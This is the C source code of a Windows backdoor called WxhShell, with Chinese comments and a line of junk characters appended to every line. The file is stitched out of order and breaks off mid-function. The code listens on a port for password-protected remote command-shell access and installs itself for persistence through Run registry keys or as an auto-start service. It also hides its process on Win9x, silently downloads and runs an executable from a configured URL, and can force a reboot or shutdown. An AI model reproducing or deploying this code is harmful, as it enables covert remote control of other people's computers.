    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P5QQpY{<I  
    if(Boot(SHUTDOWN)) Aw!gSf)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $t rAC@3O@  
    else { ! o, 5h|\  
    closesocket(wsh); ;P?q2jI  
    ExitThread(0); >n.z)ZJ  
    } h7_)%U<J2  
    break; ^b?2N/m@  
    } J?:[$C5  
  // 获取shell L$v^afP?  
  case 's': { MN= sIP,zk  
    CmdShell(wsh); }b["Jk\2  
    closesocket(wsh); K7vw3UwGN  
    ExitThread(0); MN;/*t  
    break; zjX7C~h^Q  
  } q$ghLGz  
  // 退出 #$'"cfRxc  
  case 'x': { zz$q5[n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `kBnSio~  
    CloseIt(wsh); K3$` Kv>I  
    break; `QP ~  
    } *8g<R  
  // 离开 KAA3iA@>+  
  case 'q': { R 4EEelSZu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %EbiMo ]3B  
    closesocket(wsh); ?H;{~n?  
    WSACleanup(); CSn<]%GL  
    exit(1); 4B O %{  
    break; 1IA5.@G:  
        } z)L}ECZh9  
  } jD< pIHau  
  } ?s{C//  
cz.3|Lby  
  // 提示信息 KXBL eR&^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z(!pYhLq  
} mc@M,2@D  
  } eO4)|tW  
/(6zsq'v|  
  return; hH4o;0rqJ  
} L~0& Q  
(.^8^uc 7X  
// shell模块句柄 1i?=JAFfM  
int CmdShell(SOCKET sock) N~#D\X^t.  
{ j 2}v}  
STARTUPINFO si; L{PH0Jf  
ZeroMemory(&si,sizeof(si)); ,Aa|Bd]b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zq?_dIX %  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5RhF+p4  
PROCESS_INFORMATION ProcessInfo; Ol cP(  
char cmdline[]="cmd"; 4]BJ0+|mT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  nP_=GI  
  return 0; x0x $  9  
} kEAhTh&g*  
,olwwv_8G  
// 自身启动模式 @\!!t{y  
int StartFromService(void) F.KrZ3%4iB  
{ {!K;`I[]v  
typedef struct q) _r3   
{ ER<eX4oU  
  DWORD ExitStatus; 8tZ} ;="F  
  DWORD PebBaseAddress; UH40~LxIma  
  DWORD AffinityMask; c^-YcGwa  
  DWORD BasePriority; xyV]?~7  
  ULONG UniqueProcessId; 9.8,q  
  ULONG InheritedFromUniqueProcessId; DT? m/*  
}   PROCESS_BASIC_INFORMATION; h DtK nF  
_7 `E[&v  
PROCNTQSIP NtQueryInformationProcess; (t74a E pi  
t,Q'S`eTU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A+2oh3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TzY!D *%z  
6UB6;-  
  HANDLE             hProcess; 7|~:P $M  
  PROCESS_BASIC_INFORMATION pbi; QN #)F  
:0dfB&7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !fZLQc  
  if(NULL == hInst ) return 0; 4<yK7x  
'^1o/C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %gTVW!q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uHrb:X!q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @U7Dunu*f  
+E#PJ_H=F8  
  if (!NtQueryInformationProcess) return 0; z[biK|YL  
K{FhT9R'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z!)f*  
  if(!hProcess) return 0; rIPl6,w~  
`r.N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~h|m&XK+Q  
|$Xf;N37t  
  CloseHandle(hProcess); XW:%vJu^`  
&fHc"-U}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  V.fp/jhj  
if(hProcess==NULL) return 0; @ay|]w  
P8]ORQ6 ZF  
HMODULE hMod; C,='3^Nc  
char procName[255]; ReqE?CeV  
unsigned long cbNeeded; 8q*";>*  
<|Iyt[s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V Q h/  
1w) fu  
  CloseHandle(hProcess); w[{*9  
uf?b%:A  
if(strstr(procName,"services")) return 1; // 以服务启动 M%;"c?g  
TRCI\  
  return 0; // 注册表启动 HYFN?~G  
} g`.{K"N>!  
$$~a=q,P[  
// 主模块 1!s!wQgS  
int StartWxhshell(LPSTR lpCmdLine) &$Ci}{{n#  
{ 'W+i[Ep5Q  
  SOCKET wsl; G)4SWu0<t  
BOOL val=TRUE; m/" J s  
  int port=0; \3: L Nt  
  struct sockaddr_in door; 6.UKB<sV  
1::LN(`<  
  if(wscfg.ws_autoins) Install(); K /8qB~J*  
J2=*-O:  
port=atoi(lpCmdLine); }2mI*"%)\u  
GM77Z.Y  
if(port<=0) port=wscfg.ws_port; Q.>/*8R;  
5d(qtFH1  
  WSADATA data; ^Bn1;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =lm nzu<  
@Z"?^2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iU,/!IQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _4Ii5CNNU  
  door.sin_family = AF_INET; 8}9Ob~on  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Djyp3uUA/  
  door.sin_port = htons(port); J[MVE4&  
6w@,I;   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N@}gLBf  
closesocket(wsl); a6P!Wzb  
return 1; KDX$.$#  
} }*Dd/'2+1  
cL ae=N  
  if(listen(wsl,2) == INVALID_SOCKET) { M!-q}5';  
closesocket(wsl); "s> >V,  
return 1; oN4G1U Kc  
} :5G$d%O=2  
  Wxhshell(wsl); |C|:i@c H  
  WSACleanup(); a /QIJ*0  
`{%-*f^  
return 0; v/ eB,p  
Jtext%"eNg  
} RpULm1b  
5W|u5AIw  
// 以NT服务方式启动 t+jIHo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hO%Y{Gg  
{ we }#Ru*  
DWORD   status = 0;  Hl!1h%  
  DWORD   specificError = 0xfffffff; $>|?k$(x  
(%Ng'~J\|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {GAsFnZk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $>EqH?EQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \A ;^ UxG  
  serviceStatus.dwWin32ExitCode     = 0; 0}6QO  
  serviceStatus.dwServiceSpecificExitCode = 0; )4Bwt`VX  
  serviceStatus.dwCheckPoint       = 0; S'|lU@P Cl  
  serviceStatus.dwWaitHint       = 0; :82?'aR  
6(,ItMbI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N:twq&[Y  
  if (hServiceStatusHandle==0) return; oO8]lHS?@  
G]at{(^Vz  
status = GetLastError(); EgFl="0  
  if (status!=NO_ERROR) l<s :%%CX  
{ " S ?Km  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /(y4V  
    serviceStatus.dwCheckPoint       = 0; _d/GdeLs  
    serviceStatus.dwWaitHint       = 0; rtcJ=`)0`  
    serviceStatus.dwWin32ExitCode     = status; uF+);ig  
    serviceStatus.dwServiceSpecificExitCode = specificError; m\l51}xz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %C6|-?TAd  
    return; \f6lT3"VN  
  } i'U,S`L6>  
;g&7*1E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YmZC?x_{M2  
  serviceStatus.dwCheckPoint       = 0; LH bZjZ2  
  serviceStatus.dwWaitHint       = 0; %f_FGh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tP&{ J^G  
} 7 FEzak'  
)iT.A  
// 处理NT服务事件,比如:启动、停止 )~1.<((<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nR(#F9  
{ mi*:S%;h  
switch(fdwControl) XSD"/_xD  
{ Fp wlV}:  
case SERVICE_CONTROL_STOP: [SKP|`I>I  
  serviceStatus.dwWin32ExitCode = 0; 5T7_[{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |}l@w +N3  
  serviceStatus.dwCheckPoint   = 0; ?SHc}iaU#  
  serviceStatus.dwWaitHint     = 0; 2=i+L z^  
  { ,oC= {^l{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H't`Q&]a  
  } @ARAX\F  
  return; [3Wsc`Q  
case SERVICE_CONTROL_PAUSE: _HSTiJVr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r!"CH5dT  
  break; }w;Q^EU  
case SERVICE_CONTROL_CONTINUE:  ]H@v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aa%Yk"V @  
  break; x0}<n99qE  
case SERVICE_CONTROL_INTERROGATE: 46QYXmNQ}  
  break; %:yHMEG]'  
}; t't^E,E .@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z:0-aDe M  
} K * xM[vO  
B^E2UNRA  
// 标准应用程序主函数 8A`p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q g) Af  
{ 6$xo# }8  
\c5#\1<  
// 获取操作系统版本 'p4da2%  
OsIsNt=GetOsVer(); BaNU}@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jM|YW*zNZ  
4WBo ZJ  
  // 从命令行安装 %!N2!IiVs  
  if(strpbrk(lpCmdLine,"iI")) Install(); iKR8^sj7S  
g_-?h&W  
  // 下载执行文件 X3&SL~&>g  
if(wscfg.ws_downexe) { fRca"vV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Oc^6u  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rx@%cuP*  
} e<: 4czh8  
xCmI7$uQ#  
if(!OsIsNt) { ')Dp%"\?  
// 如果时win9x,隐藏进程并且设置为注册表启动 9-X{x95]  
HideProc(); +35)=Uov  
StartWxhshell(lpCmdLine); ?=pZmvQg  
} .:#_5K  
else C[Y%=\6'0  
  if(StartFromService()) \4]zNV ~x  
  // 以服务方式启动 I_jM-/3b  
  StartServiceCtrlDispatcher(DispatchTable); mmpr]cT@'k  
else hIE%-gZ/  
  // 普通方式启动 \ N-| iq  
  StartWxhshell(lpCmdLine); hi4h0\L!}  
;r0|_mnf  
return 0; 0|K/=dh5+  
} UIm[DYMS  
(}/.4xE  
R-2FNl  
aHVdClD2o  
=========================================== hPEp0("  
<IHFD^3|j  
i+qLc6|S=2  
1DI"LIL  
R9|2&pfm(M  
3_R   
" c:`` Y:  
B~ 'VDOG$Z  
#include <stdio.h> yP1Y3Tga=  
#include <string.h> xqi*N13  
#include <windows.h> ]IbPWBX  
#include <winsock2.h> r=iMo7q  
#include <winsvc.h> @?^LxqAWA  
#include <urlmon.h> d =B@EyN  
J;Z>fAE7  
#pragma comment (lib, "Ws2_32.lib") yccuTQvz  
#pragma comment (lib, "urlmon.lib") 8f6;y1!;  
R|Q_W X  
#define MAX_USER   100 // 最大客户端连接数 GWA!Ab'<U  
#define BUF_SOCK   200 // sock buffer mv9E{m  
#define KEY_BUFF   255 // 输入 buffer 6Mf3)o2  
fa*H cz  
#define REBOOT     0   // 重启 ,:dEEL+>c  
#define SHUTDOWN   1   // 关机 9 z8<[>  
9wYtOQ{g  
#define DEF_PORT   5000 // 监听端口 JtrDZ;^@  
c|!A?>O?i  
#define REG_LEN     16   // 注册表键长度 zvK5Zxl  
#define SVC_LEN     80   // NT服务名长度 8KL_PwRX_f  
+{=_|3(  
// 从dll定义API \+evZ{Pu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KWn1%oGJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &xiDG=I#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6Qzu-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #pm-nU%|_j  
*?R\[59  
// wxhshell配置信息 ~y-vKCp|  
struct WSCFG { y T1Qep  
  int ws_port;         // 监听端口 /i~^LITH  
  char ws_passstr[REG_LEN]; // 口令 lu@>?,<  
  int ws_autoins;       // 安装标记, 1=yes 0=no SJ WP8+  
  char ws_regname[REG_LEN]; // 注册表键名 M~{P',l*  
  char ws_svcname[REG_LEN]; // 服务名 s2kZZP8-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >fZ/09&3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \w0b"p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k1$2a8 ja  
int ws_downexe;       // 下载执行标记, 1=yes 0=no / Vm}+"BCS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;KZtW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BHJ'[{U*w  
sY;gh`4h  
}; l SVW}t  
@BHS5^|  
// default Wxhshell configuration {i%x s#0h  
struct WSCFG wscfg={DEF_PORT, "aCb;2Rs  
    "xuhuanlingzhe", CAo )v,f  
    1, DP6{HR$L  
    "Wxhshell", 4gkV]" H!  
    "Wxhshell", s eZ<52f2  
            "WxhShell Service", b#I*~  
    "Wrsky Windows CmdShell Service", ?lwQne8/  
    "Please Input Your Password: ", 3!oQmG_T  
  1, :rs\ydDUF  
  "http://www.wrsky.com/wxhshell.exe", <% 3SI.  
  "Wxhshell.exe" j_a~)o-p  
    }; WO(&<(?  
noUZ9M|hz  
// 消息定义模块 R;TEtu7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |gRgQGeB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -IE P?NX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @<TfA>*VJ  
char *msg_ws_ext="\n\rExit."; X-N$+[#  
char *msg_ws_end="\n\rQuit."; S_ -QvG2  
char *msg_ws_boot="\n\rReboot..."; };|PFWs  
char *msg_ws_poff="\n\rShutdown..."; 5 *pN<S  
char *msg_ws_down="\n\rSave to "; ks#Z~6+3  
/jn3'q_,  
char *msg_ws_err="\n\rErr!"; 4@mXtA  
char *msg_ws_ok="\n\rOK!"; u g:G9vjQ  
i(f;'fb*  
char ExeFile[MAX_PATH]; 6[h$r/GXh"  
int nUser = 0; E#2k|TpH4  
HANDLE handles[MAX_USER]; GWqY$YT  
int OsIsNt; =E~5&W7  
V&+$V q  
SERVICE_STATUS       serviceStatus; eeJt4DV8v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B%g:Z  
Nb!6YY=Ez-  
// 函数声明 ;7n*PBUJJ  
int Install(void); Gx a.<E^k  
int Uninstall(void); !>2\OSp!  
int DownloadFile(char *sURL, SOCKET wsh); L,A-G"z0Z  
int Boot(int flag); 6L> "m0  
void HideProc(void); 7@cvy? v{  
int GetOsVer(void); \y )4`A  
int Wxhshell(SOCKET wsl); PLD'Q,R  
void TalkWithClient(void *cs); b}L,kT  
int CmdShell(SOCKET sock); %FWfiFV|<  
int StartFromService(void); (F '  
int StartWxhshell(LPSTR lpCmdLine); 8~Hs3\Hp  
'kg]|"M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9H%xZ(`vN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y$$?8xr ~  
2l(j 4~g  
// 数据结构和表定义 AW&s-b%P  
SERVICE_TABLE_ENTRY DispatchTable[] = l 75{JxZX  
{ ^21f^>k(  
{wscfg.ws_svcname, NTServiceMain}, jKV?!~/F  
{NULL, NULL} Cbg#Yz~/  
}; p+sPCF  
@$yYljP  
// 自我安装 Hr*Pi3dSI  
int Install(void) YB3=ij!K  
{ <d&)|W  
  char svExeFile[MAX_PATH]; W>wi;Gf#  
  HKEY key; 2-c0/?_4  
  strcpy(svExeFile,ExeFile); d~Ry>   
^t ldm7{_  
// 如果是win9x系统,修改注册表设为自启动 Bpo68%dx89  
if(!OsIsNt) { Cl.T'A$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {5IG3'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J$/BH\  
  RegCloseKey(key); wBHDof xX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [gdPHXs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BI^]juH-c  
  RegCloseKey(key); Uu:v4a  
  return 0; OHnjI> /  
    } 5_C#_=E  
  } 5t#]lg[06'  
} GXlg%  
else { /P"\ +Qp  
:QL p`s  
// 如果是NT以上系统,安装为系统服务 ViT 5Jn7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >@Vr'kg+V  
if (schSCManager!=0) [=F |^KL  
{ Jo$Dxa z  
  SC_HANDLE schService = CreateService ;/q6^Nk3A  
  ( rPpAg  
  schSCManager, A y[L{!)2{  
  wscfg.ws_svcname, ]]o[fqD-Zn  
  wscfg.ws_svcdisp, *`.{K12T  
  SERVICE_ALL_ACCESS, TC{Qu;`H+U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^|;4/=bbs  
  SERVICE_AUTO_START, V(uRKu x  
  SERVICE_ERROR_NORMAL, hBE>ea  
  svExeFile, y]4 `d  
  NULL, U?j>28  
  NULL, ~RAH -]  
  NULL, Fh $&puF2  
  NULL, %<|KJb4?  
  NULL yP4.Z9  
  ); ea>\.D-S  
  if (schService!=0) 8~#Q *  
  { 9G/2^PI  
  CloseServiceHandle(schService); {~I_rlo n  
  CloseServiceHandle(schSCManager); rXPx* /C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oa !P]r  
  strcat(svExeFile,wscfg.ws_svcname); ZUW>{'[K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A'(F%0NF6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ):ZumG#o  
  RegCloseKey(key); }_;!E@  
  return 0; nn%xN\~<  
    } /y|r iW  
  } $Xc<K_Z  
  CloseServiceHandle(schSCManager); j!7Uj]  
} Asu"#sd  
} Ib2pV2`h(  
Fsj[JE  
return 1; F &}V65  
} Uk\U*\.  
k"{U}Y/}  
// 自我卸载 $u"$mg7x  
int Uninstall(void) ,m]q+7E  
{ wwn}enEz,x  
  HKEY key; F| Q#KwN  
1tpD|  
if(!OsIsNt) { .p>8oOp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =LnAMl#9  
  RegDeleteValue(key,wscfg.ws_regname); L9oZ7o  
  RegCloseKey(key); j3&*wU_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C ,hsr  
  RegDeleteValue(key,wscfg.ws_regname); bp,CvQ'}a  
  RegCloseKey(key); hhhO+D1(  
  return 0; '7s!N F2  
  } =YIQ _,{u  
} [=+/  
} )zo ;r!eP  
else { Q,`kfxA`O  
1[^d8!U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T 1=M6iJ  
if (schSCManager!=0) Z]BR Mx  
{ h[T3WE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qE{S'XyM,  
  if (schService!=0) 7l3q~dQ  
  { 7i.aZ2a%  
  if(DeleteService(schService)!=0) { DAW%?(\,  
  CloseServiceHandle(schService); mN02T@R-  
  CloseServiceHandle(schSCManager); ^ZG1  
  return 0; n} {cs  
  } X)m2{@v D  
  CloseServiceHandle(schService); cqudF=q  
  } ty>O}9%  
  CloseServiceHandle(schSCManager); )A%Y wI$  
} qv\yQ&pj  
} s8Oz^5p(  
Xl;N= fc  
return 1; A_%w (7o"  
} hM}2++V  
0P(}e[~Z  
// 从指定url下载文件 > R=YF*t  
int DownloadFile(char *sURL, SOCKET wsh) pjFgIG2=9  
{ rtm28|0H'  
  HRESULT hr; zYgLGwi{  
char seps[]= "/"; K-ebAaiC  
char *token; zVu}7v()  
char *file; |4vk@0L  
char myURL[MAX_PATH]; $`%.Y&A  
char myFILE[MAX_PATH]; RS~oSoAE  
@kw=0  
strcpy(myURL,sURL); \#slZ;&s  
  token=strtok(myURL,seps); fJuJ#MX{:  
  while(token!=NULL) ,P^"X5$   
  { J3=jC5=J4  
    file=token; I8y\D,  
  token=strtok(NULL,seps); I$$!YMm.N  
  } O);V{1P  
#u_-TWVt  
GetCurrentDirectory(MAX_PATH,myFILE); NQmDm!-4  
strcat(myFILE, "\\"); Gx m"HC  
strcat(myFILE, file); A Ho<E"R\  
  send(wsh,myFILE,strlen(myFILE),0); TUG3#PSnm*  
send(wsh,"...",3,0); R-ci?7dt3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0 !Yi.'+  
  if(hr==S_OK) RW 5T}  
return 0; ;\h'A(  
else 4"{q|~&=:$  
return 1; Ab`Gb  
gIeo7>u  
} < javZJ  
%Xn)$Ti ~<  
// 系统电源模块 q6q= ,<T%S  
int Boot(int flag) 7 UR)4dYA  
{ 3hkA`YSYt  
  HANDLE hToken; ]^!#0(  
  TOKEN_PRIVILEGES tkp; [30e>bSf`  
,Fb#%r%  
  if(OsIsNt) { R0Qp*&AL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q_!3<.sf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >a,w8^7  
    tkp.PrivilegeCount = 1; q+<TD#xoL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gv`PCA@/d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fI6F};I5}T  
if(flag==REBOOT) { *N7\d9y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "xWC49   
  return 0; 61wiXX"N  
} }+z}vb  
else { fYwumx`J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pcE.  
  return 0; gbvBgOp  
} t^q/'9Ai&J  
  } `| fF)kI  
  else { FkH4|}1  
if(flag==REBOOT) { xaPTTa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1*XqwBV  
  return 0; H]cCyuCdH  
} ak%8|'}  
else { Q,scjt[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K~uoZ~_gA  
  return 0; *Nv<,Br,F  
} Xh ?{%?2  
} T+I|2HYqOj  
N7|ctO  
return 1; 6uDNqq  
} s;>jy/o0 s  
, =#'?>Kq  
// win9x进程隐藏模块 Ox58L>:0m  
void HideProc(void) EM"YjC)F  
{ #6JG#!W  
/gxwp:&lY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zvc{o8^z  
  if ( hKernel != NULL ) \hg12],#:@  
  { x k#/J]j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kc}e},k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VP[ J#TPU  
    FreeLibrary(hKernel); zzM 'uo  
  } /MA4Er r  
.2`S07Z  
return; s+aeP  
} ;:v:pg8qc  
d35,[  
// 获取操作系统版本 %GJ, &b|  
int GetOsVer(void) B7cXbUAQs  
{ By" =]|Q  
  OSVERSIONINFO winfo; }_K7}] 1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JD.WH|sZ5  
  GetVersionEx(&winfo); ?>2k>~xlQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hW(Mf  
  return 1; m!g f!  
  else lOql(ZH`w  
  return 0; Y6+nfh_  
}  E;k'bz  
<J\z6+,4E  
// 客户端句柄模块 fF ;-d2mF  
int Wxhshell(SOCKET wsl) M5wj79'l"  
{ WUKYwA/t  
  SOCKET wsh; $cnIsyKWY  
  struct sockaddr_in client; DvU(rr\p  
  DWORD myID; @`)A )  
G>"w$Us  
  while(nUser<MAX_USER) -r[l{ce  
{ Ig~lD>dnr'  
  int nSize=sizeof(client); LG(bdj"NM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9|fg\C  
  if(wsh==INVALID_SOCKET) return 1; q'[5h>Pa  
YHl6M&*@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -|T.APxB  
if(handles[nUser]==0) .#@*)1A#t  
  closesocket(wsh); tAefBFu  
else 1Jt5|'tl  
  nUser++; Iell`;  
  } .cjSgK1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z.--"cF  
Ovh[qm?Z  
  return 0; \IIR2Xf,K  
} I!~5.  
k68\ _NUL  
// 关闭 socket -b8Vz}Y  
void CloseIt(SOCKET wsh) ckS.j)@.c  
{ -m3 O\X  
closesocket(wsh); 2/3,%5j_  
nUser--; uL`;KD  
ExitThread(0); b|P[\9  
} hvkLcpE  
@h$cHZ  
// 客户端请求句柄 %N04k8z  
void TalkWithClient(void *cs) QOB>Tv E  
{ h@&& .S`B  
h${+{1](6  
  SOCKET wsh=(SOCKET)cs; f.4r'^  
  char pwd[SVC_LEN]; 2Gd.B/L6  
  char cmd[KEY_BUFF]; L TzD\C'  
char chr[1]; vWc=^tT   
int i,j; )l~:P uvh  
"8>T  
  while (nUser < MAX_USER) { kZfa8w L]P  
A}W) La\  
if(wscfg.ws_passstr) { !RN(/ &%y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j#rjYiYKy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /I(IT=kp  
  //ZeroMemory(pwd,KEY_BUFF); Yj;KKgk  
      i=0; ~dg7c{o5  
  while(i<SVC_LEN) { W1fEUVj  
@@M 2s(  
  // 设置超时 JHC 6l  
  fd_set FdRead; J'jwRn  
  struct timeval TimeOut; BIqZg$  
  FD_ZERO(&FdRead); TCWy^8LA  
  FD_SET(wsh,&FdRead); R7pdwKD  
  TimeOut.tv_sec=8; K-vG5t0$\/  
  TimeOut.tv_usec=0; &NM.}f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DryN}EMOKD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MEf`&<t  
M{w[hV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `lygJI?H+{  
  pwd=chr[0]; *:L-/Q)i  
  if(chr[0]==0xd || chr[0]==0xa) { Q]?r&%Y  
  pwd=0; Sc#B -4m  
  break; :sDE 'o  
  } g<(3wL,"  
  i++; Z<jio  
    } 3D|Y4OM  
++1<A& a  
  // 如果是非法用户,关闭 socket RvrZtg5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >U .  
} WZ,}]D  
lOB*M!8   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jd ]$U_U(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vM G>Xb  
Z1Y/2MVSb  
while(1) { qM}Uk3N0  
jT/}5\  
  ZeroMemory(cmd,KEY_BUFF); f"i(+:la  
d^b(Uo=$  
      // 自动支持客户端 telnet标准   YvA@I|..~  
  j=0; YNHQbsZUI,  
  while(j<KEY_BUFF) { o\<m99Ub  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ye?4^@u u  
  cmd[j]=chr[0]; ^jY/w>UdH  
  if(chr[0]==0xa || chr[0]==0xd) { kHMD5Q  
  cmd[j]=0; Em6P6D>S>,  
  break; 5@c/,6l  
  } 9rD6."G  
  j++; Z!#n55 |  
    } 3QM;K^$  
I'sq0^  
  // 下载文件 Z:_ wE62'  
  if(strstr(cmd,"http://")) { o}^/K m+t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ={'*C7K)oK  
  if(DownloadFile(cmd,wsh)) 7 k:w3M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Dn47V{7-  
